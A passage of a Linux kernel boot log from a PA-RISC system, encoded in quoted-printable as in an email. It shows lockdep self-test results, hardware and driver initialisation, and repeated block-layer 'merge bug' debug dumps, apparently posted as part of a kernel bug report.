      =20
      soft-irq lock-inversion/132:failed|failed|  ok  |                  =
      =20
      hard-irq lock-inversion/213:failed|failed|  ok  |                  =
      =20
      soft-irq lock-inversion/213:failed|failed|  ok  |                  =
      =20
      hard-irq lock-inversion/231:failed|failed|  ok  |                  =
      =20
      soft-irq lock-inversion/231:failed|failed|  ok  |                  =
      =20
      hard-irq lock-inversion/312:failed|failed|  ok  |                  =
      =20
      soft-irq lock-inversion/312:failed|failed|  ok  |                  =
      =20
      hard-irq lock-inversion/321:failed|failed|  ok  |                  =
      =20
      soft-irq lock-inversion/321:failed|failed|  ok  |                  =
      =20
      hard-irq read-recursion/123:  ok  |                                =
      =20
      soft-irq read-recursion/123:  ok  |                                =
      =20
      hard-irq read-recursion/132:  ok  |                                =
      =20
      soft-irq read-recursion/132:  ok  |                                =
      =20
      hard-irq read-recursion/213:  ok  |                                =
      =20
      soft-irq read-recursion/213:  ok  |                                =
      =20
      hard-irq read-recursion/231:  ok  |                                =
      =20
      soft-irq read-recursion/231:  ok  |                                =
      =20
      hard-irq read-recursion/312:  ok  |                                =
      =20
      soft-irq read-recursion/312:  ok  |                                =
      =20
      hard-irq read-recursion/321:  ok  |                                =
      =20
      soft-irq read-recursion/321:  ok  |                                =
      =20
  =
--------------------------------------------------------------------------=
   =20
  | Wound/wait tests |                                                   =
      =20
  ---------------------                                                  =
      =20
                  ww api failures:  ok  |  ok  |  ok  |                  =
      =20
               ww contexts mixing:failed|  ok  |                         =
      =20
             finishing ww context:  ok  |  ok  |  ok  |  ok  |           =
      =20
               locking mismatches:  ok  |  ok  |  ok  |                  =
      =20
                 EDEADLK handling:  ok  |  ok  |  ok  |  ok  |  ok  |  =
ok  |  o|
           spinlock nest unlocked:failed|                                =
      =20
  -----------------------------------------------------                  =
      =20
                                 |block | try  |context|                 =
      =20
  -----------------------------------------------------                  =
      =20
                          context:failed|  ok  |  ok  |                  =
      =20
                              try:failed|  ok  |failed|                  =
      =20
                            block:failed|  ok  |failed|                  =
      =20
                         spinlock:failed|  ok  |failed|                  =
      =20
--------------------------------------------------------                 =
      =20
153 out of 253 testcases failed, as expected. |                          =
      =20
----------------------------------------------------                     =
      =20
Calibrating delay loop... 1993.93 BogoMIPS (lpj=3D9969664)               =
        =20
pid_max: default: 32768 minimum: 301                                     =
      =20
Mount-cache hash table entries: 32768 (order: 6, 262144 bytes)           =
      =20
Mountpoint-cache hash table entries: 32768 (order: 6, 262144 bytes)      =
      =20
Brought up 1 CPUs                                                        =
      =20
devtmpfs: initialized                                                    =
      =20
clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, =
max_idle_ns: 191s
atomic64_test: passed                                                    =
      =20
NET: Registered protocol family 16                                       =
      =20
Searching for devices...                                                 =
      =20
Found devices:                                                           =
      =20
1. Crestone Peak Fast? at 0xfffffffffe780000 [128] { 0, 0x0, 0x88b, =
0x00004 }  =20
2. Crestone Peak Fast? at 0xfffffffffe781000 [129] { 0, 0x0, 0x88b, =
0x00004 }  =20
3. Crestone Peak Fast? at 0xfffffffffe798000 [152] { 0, 0x0, 0x88b, =
0x00004 }  =20
4. Crestone Peak Fast? at 0xfffffffffe799000 [153] { 0, 0x0, 0x88b, =
0x00004 }  =20
5. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0b6, 0x00009 }           =
      =20
6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, =
0x0000c }=20
7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, =
0x0000a }  =20
8. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, =
0x0000a }  =20
9. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, =
0x0000a }  =20
10. Quicksilver AGP Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x784, =
0x0000}
11. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, =
0x000c0 }  =20
12. Crestone Peak Fast? Core RS-232 at 0xfffffff0f05e0000 [17] { 10, =
0x0, 0x077}
13. Crestone Peak Fast? Core RS-232 at 0xfffffff0f05e2000 [18] { 10, =
0x0, 0x077}
Enabling PDC_PAT chassis codes support v0.05                             =
      =20
Releasing cpu 1 now, hpa=3Dfffffffffe781000                              =
        =20
FP[1] enabled: Rev 1 Model 20                                            =
      =20
Releasing cpu 2 now, hpa=3Dfffffffffe798000                              =
        =20
FP[2] enabled: Rev 1 Model 20                                            =
      =20
Releasing cpu 3 now, hpa=3Dfffffffffe799000                              =
        =20
FP[3] enabled: Rev 1 Model 20                                            =
      =20
CPU(s): 4 out of 4 PA8800 (Mako) at 1000.000000 MHz online               =
      =20
Setting cache flush threshold to 32768 kB                                =
      =20
Setting TLB flush threshold to 1188 kB                                   =
      =20
SBA found Pluto 2.3 at 0xfffffffffed00000                                =
      =20
Mercury version TR3.2 (0x32) found at 0xfffffffffed20000                 =
      =20
LBA: lmmio_space [0xffffffff80000000-0xffffffff9fffffff] - new           =
      =20
LBA 0:0: PCI host bridge to bus 0000:00                                  =
      =20
pci_bus 0000:00: root bus resource [io  0x0000-0xffff]                   =
      =20
pci_bus 0000:00: root bus resource [mem =
0xffffffff80000000-0xffffffff9fffffff] )
pci_bus 0000:00: root bus resource [mem =
0xffffff0000000000-0xffffff0fffffffff] =20
pci_bus 0000:00: root bus resource [bus 00-07]                           =
      =20
Mercury version TR3.2 (0x32) found at 0xfffffffffed24000                 =
      =20
LBA 0:2: PCI host bridge to bus 0000:40                                  =
      =20
pci_bus 0000:40: root bus resource [io  0x10000-0x1ffff] (bus address =
[0x0000-0)
pci_bus 0000:40: root bus resource [mem =
0xffffffffa0000000-0xffffffffafffffff] )
pci_bus 0000:40: root bus resource [mem =
0xffffff2000000000-0xffffff2fffffffff] =20
pci_bus 0000:40: root bus resource [bus 40-47]                           =
      =20
Mercury version TR3.2 (0x32) found at 0xfffffffffed26000                 =
      =20
LBA 0:3: PCI host bridge to bus 0000:60                                  =
      =20
pci_bus 0000:60: root bus resource [io  0x20000-0x2ffff] (bus address =
[0x0000-0)
pci_bus 0000:60: root bus resource [mem =
0xffffffffb0000000-0xffffffffbfffffff] )
pci_bus 0000:60: root bus resource [mem =
0xffffff3000000000-0xffffff3fffffffff] =20
pci_bus 0000:60: root bus resource [bus 60-67]                           =
      =20
Quicksilver version TR1.0 (0x10) found at 0xfffffffffed28000             =
      =20
LBA: lmmio_space [0xffffffffc0000000-0xffffffffdfffffff] - new           =
      =20
LBA 0:4: PCI host bridge to bus 0000:80                                  =
      =20
pci_bus 0000:80: root bus resource [io  0x30000-0x3ffff] (bus address =
[0x0000-0)
pci_bus 0000:80: root bus resource [mem =
0xffffffffc0000000-0xffffffffdfffffff] )
pci_bus 0000:80: root bus resource [mem =
0xffffff4000000000-0xffffff4fffffffff] =20
pci_bus 0000:80: root bus resource [bus 80-87]                           =
      =20
powersw: Soft power switch at 0xfffffff0f042e278 enabled.                =
      =20
vgaarb: setting as boot device: PCI:0000:80:00.0                         =
      =20
vgaarb: device added: =
PCI:0000:80:00.0,decodes=3Dio+mem,owns=3Dio+mem,locks=3Dnone   =20
vgaarb: loaded                                                           =
      =20
vgaarb: bridge control possible 0000:80:00.0                             =
      =20
SCSI subsystem initialized                                               =
      =20
NET: Registered protocol family 2                                        =
      =20
TCP established hash table entries: 131072 (order: 8, 1048576 bytes)     =
      =20
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)             =
      =20
TCP: Hash tables configured (established 131072 bind 65536)              =
      =20
UDP hash table entries: 8192 (order: 6, 262144 bytes)                    =
      =20
UDP-Lite hash table entries: 8192 (order: 6, 262144 bytes)               =
      =20
NET: Registered protocol family 1                                        =
      =20
RPC: Registered named UNIX socket transport module.                      =
      =20
RPC: Registered udp transport module.                                    =
      =20
RPC: Registered tcp transport module.                                    =
      =20
RPC: Registered tcp NFSv4.1 backchannel transport module.                =
      =20
Trying to unpack rootfs image as initramfs...                            =
      =20
Freeing initrd memory: 10160K (000000007e201000 - 000000007ebed000)      =
      =20
Performance monitoring counters enabled for Crestone Peak Fast?          =
      =20
futex hash table entries: 8192 (order: 7, 524288 bytes)                  =
      =20
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)     =
      =20
io scheduler noop registered                                             =
      =20
io scheduler deadline registered                                         =
      =20
io scheduler cfq registered (default)                                    =
      =20
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled                 =
      =20
console [ttyS0] disabled                                                 =
      =20
17: ttyS0 at MMIO 0xfffffff0f05e0800 (irq =3D 76, base_baud =3D 115200) =
is a 16550A=20
console [ttyS0] enabled                                                  =
      =20
console [ttyS0] enabled                                                  =
      =20
bootconsole [ttyB0] disabled                                             =
      =20
bootconsole [ttyB0] disabled                                             =
      =20
18: ttyS1 at MMIO 0xfffffff0f05e2800 (irq =3D 77, base_baud =3D 115200) =
is a 16550A=20
Linux agpgart interface v0.103                                           =
      =20
brd: module loaded                                                       =
      =20
sata_sil24 0000:00:01.0: Applying completion IRQ loss on PCI-X errata =
fix      =20
scsi host0: sata_sil24                                                   =
      =20
scsi host1: sata_sil24                                                   =
      =20
scsi host2: sata_sil24                                                   =
      =20
scsi host3: sata_sil24                                                   =
      =20
ata1: SATA max UDMA/100 host m128@0xffffffff80088000 port =
0xffffffff80080000 ir6
ata2: SATA max UDMA/100 host m128@0xffffffff80088000 port =
0xffffffff80082000 ir6
ata3: SATA max UDMA/100 host m128@0xffffffff80088000 port =
0xffffffff80084000 ir6
ata4: SATA max UDMA/100 host m128@0xffffffff80088000 port =
0xffffffff80086000 ir6
sil680: 133MHz clock.                                                    =
      =20
scsi host4: pata_sil680                                                  =
      =20
scsi host5: pata_sil680                                                  =
      =20
ata5: PATA max UDMA/133 cmd 0x26158 ctl 0x26164 bmdma 0x26140 irq 72     =
      =20
ata6: PATA max UDMA/133 cmd 0x26150 ctl 0x26160 bmdma 0x26148 irq 72     =
      =20
HP SDC: No SDC found.                                                    =
      =20
HP SDC MLC: Registering the System Domain Controller's HIL MLC.          =
      =20
HP SDC MLC: Request for raw HIL ISR hook denied                          =
      =20
mousedev: PS/2 mouse device common for all mice                          =
      =20
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0        =
      =20
hidraw: raw HID events driver (C) Jiri Kosina                            =
      =20
rtc-generic rtc-generic: setting system clock to 2016-02-24 23:08:03 UTC =
(14563)
ata1: SATA link down (SStatus 0 SControl 0)                              =
      =20
ata2: SATA link down (SStatus 0 SControl 0)                              =
      =20
ata3: SATA link down (SStatus 0 SControl 0)                              =
      =20
ata4: SATA link up 3.0 Gbps (SStatus 123 SControl 0)                     =
      =20
ata4.00: ATA-9: ST3000DM001-1ER166, CC25, max UDMA/133                   =
      =20
ata4.00: 5860533168 sectors, multi 0: LBA48 NCQ (depth 31/32)            =
      =20
ata4.00: configured for UDMA/100                                         =
      =20
scsi 3:0:0:0: Direct-Access     ATA      ST3000DM001-1ER1 CC25 PQ: 0 =
ANSI: 5   =20
ata6.00: ATAPI: HL-DT-STDVD+-RW GSA-H21L, 1.04, max UDMA/44              =
      =20
ata6.00: configured for UDMA/44                                          =
      =20
scsi 5:0:0:0: CD-ROM            HL-DT-ST DVD+-RW GSA-H21L 1.04 PQ: 0 =
ANSI: 5   =20
Freeing unused kernel memory: 284K (0000000040100000 - 0000000040147000) =
      =20
Loading, please wait...                                                  =
      =20
starting versionrandom: systemd-udevd urandom read with 119 bits of =
entropy avae
 228                                                                     =
      =20
e1000: Intel(R) PRO/1000 Network Driver - version 7.3.21-k8-NAPI         =
      =20
e1000: Copyright (c) 1999-2006 Intel Corporation.                        =
      =20
sd 3:0:0:0: [sda] 5860533168 512-byte logical blocks: (3.00 TB/2.72 TiB) =
      =20
random: nonblocking pool is initialized                                  =
      =20
sd 3:0:0:0: [sda] 4096-byte physical blocks                              =
      =20
Fusion MPT base driver 3.04.20                                           =
      =20
Copyright (c) 1999-2008 LSI Corporation                                  =
      =20
sd 3:0:0:0: [sda] Write Protect is off                                   =
      =20
sr 5:0:0:0: [sr0] scsi3-mmc drive: 48x/48x writer cd/rw xa/form2 cdda =
tray     =20
cdrom: Uniform CD-ROM driver Revision: 3.20                              =
      =20
sd 3:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't =
support DPA
Fusion MPT SPI Host driver 3.04.20                                       =
      =20
usbcore: registered new interface driver usbfs                           =
      =20
usbcore: registered new interface driver hub                             =
      =20
usbcore: registered new device driver usb                                =
      =20
ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver               =
      =20
mptbase: ioc0: Initiating bringup                                        =
      =20
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver                   =
      =20
e1000 0000:60:03.0 eth0: (PCI:33MHz:32-bit) 00:11:0a:31:8a:77            =
      =20
e1000 0000:60:03.0 eth0: Intel(R) PRO/1000 Network Connection            =
      =20
ehci-pci: EHCI PCI platform driver                                       =
      =20
ehci-pci 0000:60:01.2: EHCI Host Controller                              =
      =20
ehci-pci 0000:60:01.2: new USB bus registered, assigned bus number 1     =
      =20
ehci-pci 0000:60:01.2: irq 71, io mem 0xffffffffb00a1000                 =
      =20
 sda: sda1                                                               =
      =20
ehci-pci 0000:60:01.2: USB 2.0 started, EHCI 0.95                        =
      =20
usb usb1: New USB device found, idVendor=3D1d6b, idProduct=3D0002        =
          =20
usb usb1: New USB device strings: Mfr=3D3, Product=3D2, SerialNumber=3D1 =
            =20
usb usb1: Product: EHCI Host Controller                                  =
      =20
usb usb1: Manufacturer: Linux 4.2.0-rc2+ ehci_hcd                        =
      =20
usb usb1: SerialNumber: 0000:60:01.2                                     =
      =20
hub 1-0:1.0: USB hub found                                               =
      =20
hub 1-0:1.0: 5 ports detected                                            =
      =20
sd 3:0:0:0: [sda] Attached SCSI disk                                     =
      =20
ohci-pci: OHCI PCI platform driver                                       =
      =20
ohci-pci 0000:60:01.0: OHCI PCI host controller                          =
      =20
ohci-pci 0000:60:01.0: new USB bus registered, assigned bus number 2     =
      =20
ohci-pci 0000:60:01.0: irq 69, io mem 0xffffffffb00a3000                 =
      =20
usb usb2: New USB device found, idVendor=3D1d6b, idProduct=3D0001        =
          =20
usb usb2: New USB device strings: Mfr=3D3, Product=3D2, SerialNumber=3D1 =
            =20
usb usb2: Product: OHCI PCI host controller                              =
      =20
usb usb2: Manufacturer: Linux 4.2.0-rc2+ ohci_hcd                        =
      =20
usb usb2: SerialNumber: 0000:60:01.0                                     =
      =20
hub 2-0:1.0: USB hub found                                               =
      =20
hub 2-0:1.0: 3 ports detected                                            =
      =20
ohci-pci 0000:60:01.1: OHCI PCI host controller                          =
      =20
ohci-pci 0000:60:01.1: new USB bus registered, assigned bus number 3     =
      =20
ohci-pci 0000:60:01.1: irq 70, io mem 0xffffffffb00a2000                 =
      =20
ioc0: LSI53C1030 B2: Capabilities=3D{Initiator,Target}                   =
        =20
usb usb3: New USB device found, idVendor=3D1d6b, idProduct=3D0001        =
          =20
usb usb3: New USB device strings: Mfr=3D3, Product=3D2, SerialNumber=3D1 =
            =20
usb usb3: Product: OHCI PCI host controller                              =
      =20
usb usb3: Manufacturer: Linux 4.2.0-rc2+ ohci_hcd                        =
      =20
usb usb3: SerialNumber: 0000:60:01.1                                     =
      =20
hub 3-0:1.0: USB hub found                                               =
      =20
hub 3-0:1.0: 2 ports detected                                            =
      =20
scsi host6: ioc0: LSI53C1030 B2, FwRev=3D01032341h, Ports=3D1, MaxQ=3D255,=
 IRQ=3D67    =20
scsi 6:0:0:0: Direct-Access     HP 73.4G ST373207LW       HPC1 PQ: 0 =
ANSI: 3   =20
scsi target6:0:0: Beginning Domain Validation                            =
      =20
scsi target6:0:0: Ending Domain Validation                               =
      =20
scsi target6:0:0: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW =
PCOMP (6.2)
sd 6:0:0:0: [sdb] 143374738 512-byte logical blocks: (73.4 GB/68.3 GiB)  =
      =20
scsi 6:0:2:0: Direct-Access     HP 73.4G ST373207LW       HPC1 PQ: 0 =
ANSI: 3   =20
scsi target6:0:2: Beginning Domain Validation                            =
      =20
scsi target6:0:2: Ending Domain Validation                               =
      =20
scsi target6:0:2: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW =
PCOMP (6.2)
sd 6:0:2:0: [sdc] 143374738 512-byte logical blocks: (73.4 GB/68.3 GiB)  =
      =20
sd 6:0:2:0: [sdc] Write Protect is off                                   =
      =20
sd 6:0:2:0: [sdc] Write cache: enabled, read cache: enabled, supports =
DPO and FA
sd 6:0:2:0: [sdc] Attached SCSI disk                                     =
      =20
sd 6:0:0:0: [sdb] Write Protect is off                                   =
      =20
sd 6:0:0:0: [sdb] Write cache: enabled, read cache: enabled, supports =
DPO and FA
mptbase: ioc1: Initiating bringup                                        =
      =20
ioc1: LSI53C1030 B2: Capabilities=3D{Initiator,Target}                   =
        =20
scsi host7: ioc1: LSI53C1030 B2, FwRev=3D01032341h, Ports=3D1, MaxQ=3D255,=
 IRQ=3D68    =20
 sdb: sdb1 sdb2 sdb3 sdb4                                                =
      =20
sd 6:0:0:0: [sdb] Attached SCSI disk                                     =
      =20
blk_rq_map_sg: merge bug: 30 29, extra_len 0, dma_drain 0                =
      =20
check_bvec: dump bvec for 000000007c799978(f:24490000, t:1)              =
      =20
            0: 0 4096 254607 000000007e743880                            =
      =20
            1: 0 4096 254608 000000007e743880                            =
      =20
            2: 0 4096 254609 000000007e743880                            =
      =20
            3: 0 4096 254610 000000007e743880                            =
      =20
            4: 0 4096 254611 000000007e743880                            =
      =20
            5: 0 4096 254612 000000007e743880                            =
      =20
            6: 0 4096 254613 000000007e743880                            =
      =20
            7: 0 4096 254614 000000007e743880                            =
      =20
            8: 0 4096 254615 000000007e743880                            =
      =20
            9: 0 4096 254616 000000007e743880                            =
      =20
           10: 0 4096 254617 000000007e743880                            =
      =20
           11: 0 4096 254618 000000007e743880                            =
      =20
           12: 0 4096 254619 000000007e743880                            =
      =20
           13: 0 4096 254620 000000007e743880                            =
      =20
           14: 0 4096 254621 000000007e743880                            =
      =20
           15: 0 4096 254622 000000007e743880                            =
      =20
           16: 0 4096 254623 000000007e743880                            =
      =20
           17: 0 4096 254624 000000007e743880                            =
      =20
           18: 0 4096 254625 000000007e743880                            =
      =20
           19: 0 4096 254626 000000007e743880                            =
      =20
           20: 0 4096 247681 000000007e743880                            =
      =20
           21: 0 4096 247680 000000007e743880                            =
      =20
           22: 0 4096 247775 000000007e743880                            =
      =20
           23: 0 4096 247774 000000007e743880                            =
      =20
           24: 0 4096 247361 000000007e743880                            =
      =20
           25: 0 4096 247360 000000007e743880                            =
      =20
           26: 0 4096 247583 000000007e743880                            =
      =20
           27: 0 4096 247582 000000007e743880                            =
      =20
           28: 0 4096 247581 000000007e743880                            =
      =20
           29: 0 4096 247580 000000007e743880                            =
      =20
           30: 0 4096 247579 000000007e743880                            =
      =20
           31: 0 4096 247578 000000007e743880                            =
      =20
           32: 0 4096 247577 000000007e743880                            =
      =20
           33: 0 4096 247576 000000007e743880                            =
      =20
           34: 0 4096 247575 000000007e743880                            =
      =20
           35: 0 4096 247574 000000007e743880                            =
      =20
           36: 0 4096 247573 000000007e743880                            =
      =20
           37: 0 4096 247572 000000007e743880                            =
      =20
           38: 0 4096 247571 000000007e743880                            =
      =20
           39: 0 4096 255664 000000007e743880                            =
      =20
           40: 0 4096 255666 000000007e743880                            =
      =20
           41: 0 4096 255665 000000007e743880                            =
      =20
           42: 0 4096 247503 000000007e743880                            =
      =20
           43: 0 4096 247502 000000007e743880                            =
      =20
           44: 0 4096 258438 000000007e743880                            =
      =20
           45: 0 4096 247501 000000007e743880                            =
      =20
           46: 0 4096 247498 000000007e743880                            =
      =20
           47: 0 4096 247497 000000007e743880                            =
      =20
timer_interrupt(CPU 2): delayed! cycles 7E6B87C2 rem 89B0BE  next/now =
1BB756E4E6
blk_rq_map_sg: merge bug: 3 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e53c5f0(f:24490000, t:1)              =
      =20
            0: 0 4096 245852 000000007e2c4c40                            =
      =20
            1: 0 4096 245853 000000007e2c4c40                            =
      =20
            2: 0 4096 245854 000000007e2c4c40                            =
      =20
            3: 0 4096 245855 000000007e2c4c40                            =
      =20
            4: 0 4096 245856 000000007e2c4c40                            =
      =20
            5: 0 4096 245857 000000007e2c4c40                            =
      =20
            6: 0 4096 245858 000000007e2c4c40                            =
      =20
            7: 0 4096 245859 000000007e2c4c40                            =
      =20
            8: 0 4096 245860 000000007e2c4c40                            =
      =20
            9: 0 4096 245861 000000007e2c4c40                            =
      =20
           10: 0 4096 245862 000000007e2c4c40                            =
      =20
           11: 0 4096 245863 000000007e2c4c40                            =
      =20
           12: 0 4096 245864 000000007e2c4c40                            =
      =20
           13: 0 4096 245865 000000007e2c4c40                            =
      =20
           14: 0 4096 245866 000000007e2c4c40                            =
      =20
           15: 0 4096 245867 000000007e2c4c40                            =
      =20
           16: 0 4096 245868 000000007e2c4c40                            =
      =20
           17: 0 4096 245869 000000007e2c4c40                            =
      =20
           18: 0 4096 245870 000000007e2c4c40                            =
      =20
           19: 0 4096 245871 000000007e2c4c40                            =
      =20
           20: 0 4096 245872 000000007e2c4c40                            =
      =20
           21: 0 4096 245873 000000007e2c4c40                            =
      =20
           22: 0 4096 245874 000000007e2c4c40                            =
      =20
           23: 0 4096 245875 000000007e2c4c40                            =
      =20
           24: 0 4096 245876 000000007e2c4c40                            =
      =20
           25: 0 4096 245877 000000007e2c4c40                            =
      =20
           26: 0 4096 245878 000000007e2c4c40                            =
      =20
           27: 0 4096 245879 000000007e2c4c40                            =
      =20
           28: 0 4096 245880 000000007e2c4c40                            =
      =20
           29: 0 4096 245881 000000007e2c4c40                            =
      =20
           30: 0 4096 245882 000000007e2c4c40                            =
      =20
           31: 0 4096 245883 000000007e2c4c40                            =
      =20
           32: 0 4096 245884 000000007e2c4c40                            =
      =20
           33: 0 4096 245885 000000007e2c4c40                            =
      =20
           34: 0 4096 245886 000000007e2c4c40                            =
      =20
           35: 0 4096 245887 000000007e2c4c40                            =
      =20
           36: 0 4096 245888 000000007e2c4c40                            =
      =20
           37: 0 4096 245889 000000007e2c4c40                            =
      =20
           38: 0 4096 245890 000000007e2c4c40                            =
      =20
           39: 0 4096 245891 000000007e2c4c40                            =
      =20
           40: 0 4096 245892 000000007e2c4c40                            =
      =20
           41: 0 4096 245893 000000007e2c4c40                            =
      =20
           42: 0 4096 245894 000000007e2c4c40                            =
      =20
           43: 0 4096 245895 000000007e2c4c40                            =
      =20
           44: 0 4096 245896 000000007e2c4c40                            =
      =20
           45: 0 4096 245897 000000007e2c4c40                            =
      =20
           46: 0 4096 245898 000000007e2c4c40                            =
      =20
           47: 0 4096 245899 000000007e2c4c40                            =
      =20
timer_interrupt(CPU 0): delayed! cycles 7E810E1D rem 742A63  next/now =
1C41E74A92
blk_rq_map_sg: merge bug: 6 4, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c6a32c0(f:24490000, t:1)              =
      =20
            0: 0 4096 254802 000000007e56b100                            =
      =20
            1: 0 4096 254803 000000007e56b100                            =
      =20
            2: 0 4096 258172 000000007e56b100                            =
      =20
            3: 0 4096 258173 000000007e56b100                            =
      =20
            4: 0 4096 258174 000000007e56b100                            =
      =20
            5: 0 4096 258175 000000007e56b100                            =
      =20
            6: 0 4096 245908 000000007e56b100                            =
      =20
            7: 0 4096 245909 000000007e56b100                            =
      =20
            8: 0 4096 245910 000000007e56b100                            =
      =20
            9: 0 4096 245911 000000007e56b100                            =
      =20
           10: 0 4096 245912 000000007e56b100                            =
      =20
           11: 0 4096 245913 000000007e56b100                            =
      =20
           12: 0 4096 245914 000000007e56b100                            =
      =20
           13: 0 4096 245915 000000007e56b100                            =
      =20
           14: 0 4096 245916 000000007e56b100                            =
      =20
           15: 0 4096 245917 000000007e56b100                            =
      =20
           16: 0 4096 245918 000000007e56b100                            =
      =20
           17: 0 4096 245921 000000007e56b100                            =
      =20
           18: 0 4096 245922 000000007e56b100                            =
      =20
           19: 0 4096 245923 000000007e56b100                            =
      =20
           20: 0 4096 245924 000000007e56b100                            =
      =20
           21: 0 4096 245925 000000007e56b100                            =
      =20
           22: 0 4096 245926 000000007e56b100                            =
      =20
           23: 0 4096 245927 000000007e56b100                            =
      =20
           24: 0 4096 245928 000000007e56b100                            =
      =20
           25: 0 4096 245929 000000007e56b100                            =
      =20
           26: 0 4096 245930 000000007e56b100                            =
      =20
           27: 0 4096 245931 000000007e56b100                            =
      =20
           28: 0 4096 245932 000000007e56b100                            =
      =20
           29: 0 4096 245933 000000007e56b100                            =
      =20
           30: 0 4096 245934 000000007e56b100                            =
      =20
           31: 0 4096 245935 000000007e56b100                            =
      =20
           32: 0 4096 245936 000000007e56b100                            =
      =20
           33: 0 4096 245937 000000007e56b100                            =
      =20
           34: 0 4096 245938 000000007e56b100                            =
      =20
           35: 0 4096 245939 000000007e56b100                            =
      =20
           36: 0 4096 245940 000000007e56b100                            =
      =20
           37: 0 4096 245941 000000007e56b100                            =
      =20
           38: 0 4096 245942 000000007e56b100                            =
      =20
           39: 0 4096 245943 000000007e56b100                            =
      =20
           40: 0 4096 245944 000000007e56b100                            =
      =20
           41: 0 4096 245945 000000007e56b100                            =
      =20
           42: 0 4096 245946 000000007e56b100                            =
      =20
           43: 0 4096 245947 000000007e56b100                            =
      =20
           44: 0 4096 245948 000000007e56b100                            =
      =20
           45: 0 4096 245949 000000007e56b100                            =
      =20
           46: 0 4096 245950 000000007e56b100                            =
      =20
           47: 0 4096 245951 000000007e56b100                            =
      =20
           48: 0 4096 245952 000000007e56b100                            =
      =20
           49: 0 4096 245953 000000007e56b100                            =
      =20
           50: 0 4096 245954 000000007e56b100                            =
      =20
           51: 0 4096 245955 000000007e56b100                            =
      =20
           52: 0 4096 245956 000000007e56b100                            =
      =20
           53: 0 4096 245957 000000007e56b100                            =
      =20
           54: 0 4096 245958 000000007e56b100                            =
      =20
           55: 0 4096 245959 000000007e56b100                            =
      =20
           56: 0 4096 245960 000000007e56b100                            =
      =20
           57: 0 4096 245961 000000007e56b100                            =
      =20
           58: 0 4096 245962 000000007e56b100                            =
      =20
           59: 0 4096 245963 000000007e56b100                            =
      =20
           60: 0 4096 245964 000000007e56b100                            =
      =20
           61: 0 4096 245965 000000007e56b100                            =
      =20
           62: 0 4096 245966 000000007e56b100                            =
      =20
           63: 0 4096 245967 000000007e56b100                            =
      =20
timer_interrupt(CPU 0): delayed! cycles A6702489 rem 747777  next/now =
1CF7B2991E
blk_rq_map_sg: merge bug: 4 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007c6a3010(f:24490000, t:1)              =
      =20
            0: 0 4096 245968 000000007e2c4ac0                            =
      =20
            1: 0 4096 245969 000000007e2c4ac0                            =
      =20
            2: 0 4096 245970 000000007e2c4ac0                            =
      =20
            3: 0 4096 245971 000000007e2c4ac0                            =
      =20
            4: 0 4096 245972 000000007e2c4ac0                            =
      =20
            5: 0 4096 245973 000000007e2c4ac0                            =
      =20
            6: 0 4096 245974 000000007e2c4ac0                            =
      =20
            7: 0 4096 245975 000000007e2c4ac0                            =
      =20
            8: 0 4096 245976 000000007e2c4ac0                            =
      =20
            9: 0 4096 245977 000000007e2c4ac0                            =
      =20
           10: 0 4096 245978 000000007e2c4ac0                            =
      =20
           11: 0 4096 245979 000000007e2c4ac0                            =
      =20
           12: 0 4096 245980 000000007e2c4ac0                            =
      =20
           13: 0 4096 245981 000000007e2c4ac0                            =
      =20
           14: 0 4096 245982 000000007e2c4ac0                            =
      =20
           15: 0 4096 245983 000000007e2c4ac0                            =
      =20
           16: 0 4096 245984 000000007e2c4ac0                            =
      =20
           17: 0 4096 245985 000000007e2c4ac0                            =
      =20
           18: 0 4096 245986 000000007e2c4ac0                            =
      =20
           19: 0 4096 245987 000000007e2c4ac0                            =
      =20
           20: 0 4096 245988 000000007e2c4ac0                            =
      =20
           21: 0 4096 245989 000000007e2c4ac0                            =
      =20
           22: 0 4096 245990 000000007e2c4ac0                            =
      =20
           23: 0 4096 245991 000000007e2c4ac0                            =
      =20
           24: 0 4096 245992 000000007e2c4ac0                            =
      =20
           25: 0 4096 245993 000000007e2c4ac0                            =
      =20
           26: 0 4096 245994 000000007e2c4ac0                            =
      =20
           27: 0 4096 245995 000000007e2c4ac0                            =
      =20
           28: 0 4096 245996 000000007e2c4ac0                            =
      =20
           29: 0 4096 245997 000000007e2c4ac0                            =
      =20
           30: 0 4096 245998 000000007e2c4ac0                            =
      =20
           31: 0 4096 245999 000000007e2c4ac0                            =
      =20
           32: 0 4096 246000 000000007e2c4ac0                            =
      =20
           33: 0 4096 246001 000000007e2c4ac0                            =
      =20
           34: 0 4096 246002 000000007e2c4ac0                            =
      =20
           35: 0 4096 246003 000000007e2c4ac0                            =
      =20
           36: 0 4096 246004 000000007e2c4ac0                            =
      =20
           37: 0 4096 246005 000000007e2c4ac0                            =
      =20
           38: 0 4096 246006 000000007e2c4ac0                            =
      =20
           39: 0 4096 246007 000000007e2c4ac0                            =
      =20
           40: 0 4096 246008 000000007e2c4ac0                            =
      =20
           41: 0 4096 246009 000000007e2c4ac0                            =
      =20
           42: 0 4096 246010 000000007e2c4ac0                            =
      =20
           43: 0 4096 246011 000000007e2c4ac0                            =
      =20
           44: 0 4096 246012 000000007e2c4ac0                            =
      =20
           45: 0 4096 246013 000000007e2c4ac0                            =
      =20
           46: 0 4096 246014 000000007e2c4ac0                            =
      =20
           47: 0 4096 246015 000000007e2c4ac0                            =
      =20
